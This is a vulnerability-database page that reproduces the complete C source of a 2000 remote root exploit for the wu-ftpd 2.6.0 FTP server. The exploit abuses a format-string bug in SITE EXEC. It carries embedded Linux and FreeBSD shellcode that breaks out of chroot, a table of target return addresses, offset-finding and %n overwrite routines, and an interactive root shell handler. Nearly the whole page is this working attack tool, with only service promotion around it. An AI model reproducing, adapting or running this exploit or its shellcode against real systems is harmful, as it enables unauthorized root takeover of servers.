Lucene search
K

wu-ftpd 2.6.0 - Remote Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

wu-ftpd 2.6.0 - Remote Root Exploi

Code

                                                /*
 * (c) 2000 venglin / b0f
 * http://b0f.freebsd.lublin.pl
 *
 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
 *
 * Idea and preliminary version of exploit by tf8
 *
 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
 * Dedicated to ksm.
 *
 * **PRIVATE**DO*NOT*DISTRIBUTE**
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>


#define repln	if (getreply(0) < 0) return -1
#define replv	if (getreply(1) < 0) return -1

#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif

char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;

char linuxcode[]= /* Lam3rZ chroot() code */
	"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
	"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
	"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
	"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
	"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
	"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
	"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
	"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
	"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
	"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
	"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
	"\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65"
	"\x2e\x63\x6f\x6d";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
	"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
	"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
	"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
	"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
	"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
	"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
	"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
	"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
	"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
	"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
	"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
	"\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
	"\x63\x6f\x6d";

struct platforms
{
	char *os;
	char *version;
	char *code;
	int align;
	int eipoff;
	long ret;
	long retloc;
	int sleep;
};

struct platforms targ[] =
{
	{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
	{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
	{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
	{ NULL, NULL, NULL, 0, 0, 0, 0 }
};

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip = inet_addr(name)) < 0)
	{
		if (!(hp = gethostbyname(name)))
		{
			fprintf(stderr, "gethostbyname(): %s\n",
				strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}

	return ip;
}

int connecttoftp(host, port)
char *host;
int port;
{
	int sockfd;
	struct sockaddr_in cli;

	bzero(&cli, sizeof(cli));
	cli.sin_family = AF_INET;
	cli.sin_addr.s_addr=getip(host);
	cli.sin_port = htons(port);

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
	{
                perror("connect");
		close(sockfd);
		return -1;
	}

	cin = fdopen(sockfd, "r");
	cout = fdopen(sockfd, "w");

	if (!cin || !cout)
	{
		close(sockfd);
		return -1;
	}

	return sockfd;
}

int command(const char *fmt, ...)
{
	char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;

	va_list args;

	if (!cout)
		return -1;

	bzero(buf1, BUFSIZ);
	bzero(buf2, BUFSIZ*2);

	va_start(args, fmt);
	vsnprintf(buf1, BUFSIZ, fmt, args);
	va_end(args);

	for (p=buf1,q=buf2;*p;p++,q++)
	{
		if (*p == '\xff')
		{
			*q++ = '\xff';
			*q = '\xff';
		}
		else
			*q = *p;
	}

	fprintf(cout, "%s", buf2);

#ifdef DEBUG
	fprintf(stderr, "--> ");
	fprintf(stderr, "%s", buf2);
	fputc('\n', stderr);
#endif

	fputs("\r\n", cout);
	(void)fflush(cout);
	return 0;
}

int getreply(v)
int v;
{
	if (!(fgets(recvbuf, BUFSIZ, cin)))
		return -1;

	if (v)
		fprintf(stderr, "<-- %s", recvbuf);

	return 0;
}

int logintoftp(login, passwd)
char *login, *passwd;
{
	do
		repl;
	while (strncmp(recvbuf, "220 ", 4));

	if ((command("USER %s", login)) < 0)
		return -1;

	repl;

	if (strncmp(recvbuf, "331", 3))
	{
		puts(recvbuf);
		return -1;
	}

	if ((command("PASS %s", passwd) < 0))
		return -1;

	do
		repl;
	while (strncmp(recvbuf, "230 ", 4));

	return 0;
}

int checkvuln(void)
{
	command("SITE EXEC %%p");
	repl;

	if(strncmp(recvbuf, "200-", 4))
		return -1;

	if(strncmp(recvbuf+4, "0x", 2))
		return -1;

	repl;

	return 0;
}

int findeip(eipoff, align)
int eipoff, align;
{
	int i, j, off;
	char *p1;
	char eip1[10], eip2[10];

	for (i=eipoff;;i+=8)
	{
		fprintf(stderr, "at offset %d\n", i);
		strcpy(sendbuf, "SITE EXEC ");
 
		for (j=0;j<align;j++) strcat(sendbuf, "a");
		strcat(sendbuf, "abcd");

		for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
		for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
		strcat(sendbuf, "|%%.8x|%%.8x");

		if (command(sendbuf) < 0)
			return -1;

		repl;

		if (!(p1 = strchr(recvbuf, '|')))
			return -1;

		strncpy(eip1, p1+1, 8);
		strncpy(eip2, p1+10, 8);

		eip1[8] = eip2[8] = '\0';

		if (!(strcmp(eip1, "64636261")))
		{
			off = i;
			break;
		}

		if (!(strcmp(eip2, "64636261")))
		{
			off = i + 4;
			break;
		}

		repl;
	}

	repl;

	return off;
}

char *putshell(type)
int type;
{
	static char buf[400];
	int noplen;

	char *code = targ[type].code;

	noplen = sizeof(buf) - strlen(code) - 2;

	memset(buf, 0x90, noplen);
	buf[noplen+1] = '\0';
	strcat(buf, code);

	return buf;
}

int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
	int i, size = 0;
	char buf[100];

	fprintf(stderr, "RET: %p, RET location: %p,"
		" RET location offset on stack: %d\n",
		(void *)ptr, (void *)retloc, off);

	if (off >= 12)
	{

		strcpy(sendbuf, "SITE EXEC ");

		for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
		for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

		if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

		if (command(sendbuf) < 0)
			return -1;	

		repl;

		size = strlen(recvbuf+4) - 2;

		repl;
	}

	fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
		(void *)(ptr-size));

	strcpy(sendbuf, "SITE EXEC ");
	for (i=0;i<align;i++) strcat(sendbuf, "a");

	sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
		(((int)retloc & 0xff00) >> 8),
		(((int)retloc & 0xff0000) >> 16),
		(((int)retloc & 0xff000000) >> 24));

	strcat(sendbuf, buf);

	for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
	for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

	if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

	strcat(sendbuf, "%%.");
	sprintf(buf, "%d", (int)ptr-size);
	strcat(sendbuf, buf);
	strcat(sendbuf, "d%%n");

	if (command(sendbuf) < 0)
		return -1;

	return 0;
}

int sh(sockfd)
int sockfd;
{
	char buf[BUFSIZ];
	int c;
	fd_set rf, drugi;
	char cmd[] = "uname -a ; pwd ; id\n";
        
	FD_ZERO(&rf);
	FD_SET(0, &rf);
	FD_SET(sockfd, &rf);
	write(sockfd, cmd, strlen(cmd));

	while (1)
	{
		bzero(buf, BUFSIZ);
		memcpy (&drugi, &rf, sizeof(rf));
		select(sockfd+1, &drugi, NULL, NULL, NULL);
		if (FD_ISSET(0, &drugi))
		{
			c = read(0, buf, BUFSIZ);
			send(sockfd, buf, c, 0x4);
		}

		if (FD_ISSET(sockfd, &drugi))
		{
			c = read(sockfd, buf, BUFSIZ);
			if (c<0) return 0;
			write(1,buf,c);
		}
	}
}

int main(argc, argv)
int argc;
char **argv;
{
	extern int optind, opterr;
	extern char *optarg;
	int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
	long ret, retloc;
	char login[BUFSIZ], password[BUFSIZ];

	opterr = retofs = retlocofs = 0;
	strcpy(login, "ftp");
	type = -1;
	port = 21;

	while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
		switch((char)ch)	
		{
			case 'l':
				strcpy(login, optarg);
				break;

			case 't':
				type = atoi(optarg);
				break;

			case 'o':
				port = atoi(optarg);
				break;

			case 'f':
				retofs = atoi(optarg);
				break;

			case 's':
				retlocofs = atoi(optarg);
				break;

			case '?':
			default:
				puts(usage);
				exit(0);
		}

	argc -= optind;
	argv += optind;

	fprintf(stderr, "PanBobek v1.1 by [email protected]\n\n");

	if (type < 0)
	{
		fprintf(stderr, "Please select platform:\n");
		for (i=0;targ[i].os;i++)
		{
			fprintf(stderr, "\t-t %d : %s %s (%p / %p)\n", i,
				targ[i].os, targ[i].version,
				(void *)targ[i].ret,
				(void *)targ[i].retloc);
		}
		exit(0);
	}

	fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
		targ[type].os, targ[type].version);

	eipoff = targ[type].eipoff;
	align = targ[type].align;
	ret = targ[type].ret;
	retloc = targ[type].retloc;
	retloc += retlocofs;
	ret += retofs;

	if (argc != 1)
	{
		puts(usage);
		exit(0);
	}

	strcpy(password, putshell(type));

	if ((fd = connecttoftp(*argv, port)) < 0)
	{    
		(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
		exit(1);
	}

	(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

	if (logintoftp(login, password) < 0)
	{
		(void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
			*argv, login);
		exit(1);
        }

	(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
		login);

	sleep(targ[type].sleep);

	if (checkvuln() < 0)
	{
		(void)fprintf(stderr, "Sorry, this version isn't"
			" vulnerable or uses internal vsnprintf().\n");
		exit(1);
	}

	(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
		eipoff);

	if ((retoff = findeip(eipoff, align)) < 0)
	{
		(void)fprintf(stderr, "\nError finding offset. Adjust"
			" align.\n");
		exit(1);
	}

	if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
	{
		(void)fprintf(stderr, "Error overwriting RET addr.\n");
		exit(1);
	}

	fprintf(stderr, "Wait up to few minutes for reply. It depends on "
			"victim's CPU speed.\nEnjoy your shell.\n");

	sh(fd);

	exit(0);
}


// milw0rm.com [2000-11-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation